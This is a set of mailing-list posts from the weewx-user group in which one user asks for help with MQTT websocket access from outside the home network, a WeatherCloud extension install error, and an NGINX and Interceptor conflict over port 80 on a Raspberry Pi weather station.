[K Weaver]

I have mqtt up and running with mo errors. 1883 for the port and 9001 for the 
web socket.

When Im home on the wifi I can connect and get the green flashing dot.
Over the web outside my network it gets the pending connection message.

I can post logs later if needed. I was hoping I was missing something simple.

Mosscreekweather.org/weewx

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/8e9d790d-75bd-4fea-b0b2-e34ce063%40googlegroups.com.

[weewx-user] Re: Installing WeatherCloud Extension - Error

[K Weaver]

Im still getting this error and I added the 0.11


On Monday, April 1, 2019 at 4:29:25 AM UTC-4, Dave McCreath wrote:
>
> Getting a tad fed up with Wunderground and trying to move over to 
> WeatherCloud.
>
> I have weeWX installed and running and updated on a Raspberry Pi currently 
> uploading to Wunderground, no issues.
>
> I followed the instructions on the WeatherCloud site to install alongside 
> weeWX (here ) but after trying to 
> install the file on my RPi I get the following error:
>
> pi@weewx:~ $ wee_extension --install weewx-wcloud-x.y.tgz
> Request to install 'weewx-wcloud-x.y.tgz'
> Traceback (most recent call last):
>   File "/usr/bin/wee_extension", line 83, in 
> main()
>   File "/usr/bin/wee_extension", line 75, in main
> ext.install_extension(options.install)
>   File "/usr/share/weewx/weecfg/extension.py", line 124, in 
> install_extension
> raise InstallError("Extension '%s' not found." % extension_path)
> weecfg.extension.InstallError: Extension 'weewx-wcloud-x.y.tgz' not found.
>
> Anyone got an idea of how to overcome the installation error, I am no 
> expert on 'things' LINUX?
>
> Dave
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/4287a1b8-c0d0-4fe9-8fab-74cd24e4cd29%40googlegroups.com.

[weewx-user] NGINX and Weewx interceptor port (80) conflict

[K Weaver]

 The problem I am having is NGINX and Interceptor are fighting for port 
80.  I have tried using different ports but they are only happy on 80.  If 
Interceptor is on 80 weewx works but web page shows error 404 page not 
found. The web page comes up and will show the last updated info from the 
smart hub. If I do the opposite and change the port that NGINX is listening 
on, I get an error in weewx ref interceptor. " python socket.error: [Errno 
98] Address already in use"...
My set up is  a acurite smart hub with 5n1.  Raspberry 

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/a0059df6-fdaf-4759-aa33-715b756a5d77%40googlegroups.com.